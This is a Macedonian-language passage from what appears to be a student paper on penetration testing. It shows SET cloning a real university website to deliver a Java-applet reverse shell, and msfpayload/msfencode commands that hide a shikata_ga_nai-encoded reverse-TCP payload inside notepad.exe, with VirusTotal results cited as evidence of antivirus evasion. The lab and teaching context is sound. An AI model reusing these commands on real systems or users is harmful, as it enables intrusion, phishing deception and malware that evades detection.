IP:192.168.163.129 PORT:33556 Payload: windows/shell_reverse_TCP Module: exploit/multi/handler Encode: shikata_ga_nai



Во ова сценарио ќе демонстрираме користење на една посебна алатка која е позната под името Social Engineering Tool (SET) којашто работи врз база на Metasploit експлоитите (exploits) а воедно има воведено и имплементирано посебни алатки кои претставуваат комбинација или целина на некои помали програми(една опција во SET е составена од повеќе подпрограми кои меѓусебно се поврзани и функционираат како да се една целина).

Начин на инсталирање:

svn co http://svn.thepentest.com/social_engineering_toolkit/ SET/

6.3.1. Што претставува Social Engineering (Социјално Инжињерство)?

Поради тоа што ја користиме алатка Social Engineering Tool (SET) ќе го објасниме и што претставува терминот Social Engineering. Социјално Инжињерство претставува искористување и напаѓање на човековиот фактор кој е од психички карактер, кој се извршува преку разни комуникациски измами и лаги преку телефон, електронска пошта, програми за интернет комуникација (одредени програми како IRC ,Skype, MSN и тн.), користејќи ја наивноста на луѓето и нивната доверба со цел добивање на значајни податоци и информации како password(лозинка), корисничко име(User ID), матичен број(Social serial number - SSN), број на кредитна картичка и разни други информации. Со овој тип на напад може да се добијаат значајни информации за многу кратко време, но можат да се нанесат и многу штети од финансиски каракатер.



1. Чекор – Запознавање со SET.

На сликата е прикажан интерфејс на SET. Како што можеме да видеме дека има повеќе опции коишто ни се нудат, но може да се видат и некои опции кои претходно сме ги искористеле како опцијата "Create Payload and Listener" во сценарио 1. Со со користење на 5тата опција ние можеме брзо и лесно да креираме payload и listener (наслушувач) користејќи ги и опциите за енкодирање како што имавме во сценарио 2.

Чекор – користење на SET со цел добивање на командна линија (CMD).

Од менито прикажано на претходната слика ја одбираме втората опција.



Со избраната опција ни се отвора ново мени во коешто можеме да направиме различни сценарија за тоа како да дојдеме до командна линија за целта која што ја напаѓаме. Со првата опција ние можеме да го искористиме SET за создавање на користена страница која е сетирана под default во самата програма. Со втората опција ние можеме да избереме некоја web страна со внесување на незината адреса, таа ќе се клонира и ќе се употреби како страница поставена на сервер којшто ќе носи адреса на истиот компјутер на којшто работиме(во овој случај 192.168.163.129 ќе биде сервер). Со опцијата три можеме да избереме веќе клонирана страна или страна која веќе сме ја изработиле. Серверот којшто паралелно започнува да работи со програмата SET е всушност арасће сервер којшто работи на порта 8080, а рауload-от е поставен на посебна порта т.е на порта 33556.

На следната слика ни е прикажано користење на опцијата 2 т.e Clone and setup a fake webpage. Со користење на оваа опција можеме да ги искористиме опциите Java Applet Attack Method и The Metasploit Browser Exploit што значи дека можеме да искористиме exploit на Java доколку има инсталирано на страната на клиентот работна

околина за Java која е потребна за користење на програмите напишани во програмскиот јазик Java.



Со опцијата The Metasploit Browser Exploit Method можеме да искористиме други експлоити (exploits) доколку на страната на клиентот/целта која ја напаѓаме нема инсталирано работна околина за Java т.е можат да се користат и други сценарија. Во ова сценарио го користиме Java експлоитот за напад на клиентот/серверот, со чие што сценарио ќе ни се прикаже опцијата на која страна сакаме да ја клонираме. Во овој случај ја одбираме страницата на Европскиот Универзитет т.е <u>www.eurm.edu.mk</u>.



Ќе видеме дека успешно е клонирана страната и имаме опции кој payload да го искористиме за нашето сценарио, ние ќе го одбереме истиот како што го употребивме во претходните сценарија т.e Windows Shell Reverse TCP.



Следен чекор е одбирање со кој енкодер ќе се енкодираат податоците т.е payload-от со цел да не биде детектиран од страна на анти вирусната програма⁶ доколку е тоа возможно.



Следен чекор е подесување на портот којшто сакаме да го користиме.



Доколку payload-от е успешно енкодиран ќе се активира и наслушувачот т.е listener за портот 7 и за IP адресата која сме ја внесиле.

⁶ Поновите бази на антивирусните програми би требало да го детектираат овој вид на payload/exploit.

⁷ Во видејата што ги снимав напоредно со овој стручен труд се појави проблем во воспоставување на конекцијата, за решавање на овој проблем го искористив поставување на наслушувач како што е прикажан и објаснат во првото сценарио т.е користење на exploit/multi/handler

Следен и последен чекор е пристап на корисникот клиент до адресата на напаѓачот, и како што може да се виде од сликата резултат на тоа ни е прозорец што ни прикажува дека е безбедна апликација која е овозможена од Microsoft. Но оваа е всушност payload-от којшто е дел од оваа Java апликација и при што со нејзино активирање(RUN) се добива командна линија на страната на напаѓачот.



Како крај за ова сценарио одлучив да ви објаснам зошто всушност го објаснив поимот Социјално Инжињерство. Користејќи го овој начин на напаѓање напаѓачот користејќи ја довербата на корисниците за да добие одредени информации кои му се потребни тие користат техники како на пример претставување дека се дел од тимот за заштита на мрежата или како дел од фирмата којашто ја напаѓа. Тој со овој потег поставува всушност стапица за корисникот кој не е искусен и свесен дека е жртва на ваков тип на напади. Има голем број случаеви за вакви типови на напади меѓу кои најпопуларните типови се објаснети во книгата на Kevin Mitchnik – Art of Deception. 6.4. Сценарио број 4 – Користење на програми за прекривање на payload(пример NOTEPAD.exe).



ΧΟΟΤ/ΗΑΠΑΓΆΥ

IP:192.168.163.129 PORT:22553 Payload: windows/shell_reverse_TCP Module: exploit/multi/handler



Со камуфлажа се намалува можноста payload-от да биде детектиран од стрнана на антивирусната програма. Оваа сценарио се употребува доколку енкодирање не успее да го сокрија payload-от. Кога го избираме начинот на енкодирање треба да го избереме пример shikata_ga_nai можеме да избереме и колку пати да се енкодира payload-от. Енкодирањето е различно во зависност од тоа каков payload ќе искористиме. Поради тоа што 80-90 посто од антивирусните програми го детектираат бинарниот payload треба да најдеме начин како тој да го прикриеме. Еден од тие начини е преку користење на Word документ со којшто 100 посто се прикрива payload-от и неможе никако да се детектира од страна на антивирусната програма. Исто така можеме да користеме и други начини за прикривање како користење на веќе готова апликација која е дел од Windows оперативниот систем или користење на било каква апликација. Windows апликацијата која ја одбрав за ова сценарио е notepad. Со прикривање на рауload-от преку notepad.exe ќе го користиме истиот начин за енкодирање.

root@bt: ~ - Shell - Konsole	
Session Edit View Bookmarks Settings Help	
[*] x86/shikata_ga_nai succeeded with size 531 (iteration=8)	
[*] x86/shikata_ga_nai succeeded with size 558 (iteration=9)	
[*] x86/shikata_ga_nai succeeded with size 585 (iteration=10)	
root@bt:-# msfpayload windows/shell_reverse_tcp LHOST=192.168.163.128 LPORT=22553 r msfencode -t exe -e x86/s _ga_nai -c 10 -o /root/testP1.exe [*] x86/shikata ga nai succeeded with size 342 (iteration=1)	hikata
[*] x86/shikata_ga_nai succeeded with size 369 (iteration=2)	
[*] x86/shikata_ga_nai succeeded with size 396 (iteration=3)	
[*] x86/shikata_ga_nai succeeded with size 423 (iteration=4)	
[*] x86/shikata_ga_nai succeeded with size 450 (iteration=5)	
[*] x86/shikata_ga_nai succeeded with size 477 (iteration=6)	
[*] x86/shikata_ga_nai succeeded with size 504 (iteration=7)	
[*] x86/shikata_ga_nai succeeded with size 531 (iteration=8)	
<pre>[*] x86/shikata_ga_nai succeeded with size 558 (iteration=9)</pre>	
[*] x86/shikata_ga_nai succeeded with size 585 (iteration=10)	
root@bt:-# msfpayload windows/shell_reverse_tcp LHOST=192.168.163.128 LPORT=22553 r msfencode -x /root/NOTEPA -t exe -e x86/shikata_ga_nai -o /root/Ntepad.exe	D.EXE
🖲 🖬 Shell No. 2	~
🖎 🍓 🔳 🥮 📽 🚎 💥 💽 💽 Target Settings - Kate 🛛 🖉 root@bt: ~ - Sh(🔮 VirusTotal - Free Online Vi	2 84:45 >

Успешно прикривање, само 10 посто од антивирусните програми го детектираат payloadот.

🔸 🔹 🥘 😭 🔀 http://www.v	irustotal.com/analisi	s/42e250c12	39b5c0ab	a8ac4a3abbebda8	1e114 🔊 💽 🔽 virus total
kTrack Linux 🗖 Offensive-Secu	irity 🖬 Gerix.IT 🛛 Exp	oloit Database	e 🛯 Aircrac	k-ng 🐡 The Metasp	loit Project 📓 SomaFM
			oy anuvirus eng	gines. More mormation	
	File I	Ntepad.exe received	i on 2010.04.08	08:45:36 (UTC)	
		Result:	4/39 (10,26%)		
		and substantial de		R.	
	Met Compact			Print results	3
	Antivirus	Version	Last Update	Result	
	a-squared	4.5.0.50	2010.04.08	*	
	AhnLab-V3	5.0.0.2	2010.04.07	*	
	AntiVir	7.10.6.42	2010.04.08	8	
	Antiy-AVL	2.0.3.7	2010.04.08	8	
	Authentium	5.2.0.5	2010.04.08		
	Avast	4.8.1351.0	2010.04.07	•	
	Avast5	5.0.332.0	2010.04.07	5. ¹	
	AVG	9.0.0.787	2010.04.07	Win32/Heur	
	BitDefender	7.2	2010.04.08		
	CAT-QuickHeal	10.00	2010.04.08	•	
	ClamAV	0.96.0.3-git	2010.04.08		
	Comodo	4536	2010.04.08		
	DrWeb	5.0.2.03300	2010.04.08	1	
	eSafe	7.0.17.0	2010.04.07		
	eTrust-Vet	35.2.7414	2010.04.08	2	
	F-Prot	4.5.1.85	2010.04.07	-	
	F-Secure	9.0.15370.0	2010.04.08	51	
	Fortinet	4.0.14.0	2010.04.07		
	GData	19	2010.04.07	51	
	Ikarus	T3.1.1.80.0	2010.04.08		
	lianomin	13 0 900	2010 04 08		

Заклучок

Користејќи ги алатките кои што ги нуди Metasploit работната околина ние можеме да го зголемеме процентот на безбедност на нашата мрежа т.е со откривање на сигурностни пропусти ние можеме да обезбедиме нашата мрежа (нашиот систем) на максимално ниво. Пенетрацискотот тестирање ни ја нуди можноста да добиеме детален извештај за тоа како можеме да ја заштитеме нашата мрежа. Доколку некои сигурностни пропусти не можеме да ги прекриеме користејќи хардвер и софтвер ние можеме претходно дефинираниот извештај да го објавиме на компанијата којашто ги нуди овие ресури. Денес безбедноста луѓето не ја сваќаат сериозно и поради тоа постојат голем број на случаи малициозни напади од луѓе коишто можат да ја искористат техниката и алатките на вистинските хакер за да добијат пристап до системот којшто го напаѓаат. Како најслаба точка во еден компјутерски систем или една мрежа е човечкиот фактор која преку искористување на довербата на луѓето можат да се извлечат значајни информации за одреден систем или информации кои можат да се искористат за добивање на пристап до одредена мрежа.

Користена Литература

http://www.infosecwriters.com/text_resources/pdf/pen_test2.pdf

http://www.sans.org/reading room/whitepapers/casestudies/effectiveness of antivirus in d etecting metasploit payloads 2134?show=2134.php&cat=casestudies

http://www.nologin.org/Downloads/Papers/meterpreter.pdf

http://netsec.cs.northwestern.edu/media/readings/msf_dev_guide.pdf

http://www.offensive-security.com/metasploit-unleashed/

http://www.blackhat.com/html/archives.html

http://druid.caughq.org/presentations/Context-keyed-Payload-Encoding.pdf

www.carnalOwnage.com/.../ChiCon07 Gates Metasploit-Day1-JustTheFacts.pdf

www.radarhack.com/tutorial/metasploit for dummies.pdf

www.darknet.org.uk/.../learn-to-use-metasploit-tutorials-docs-videos/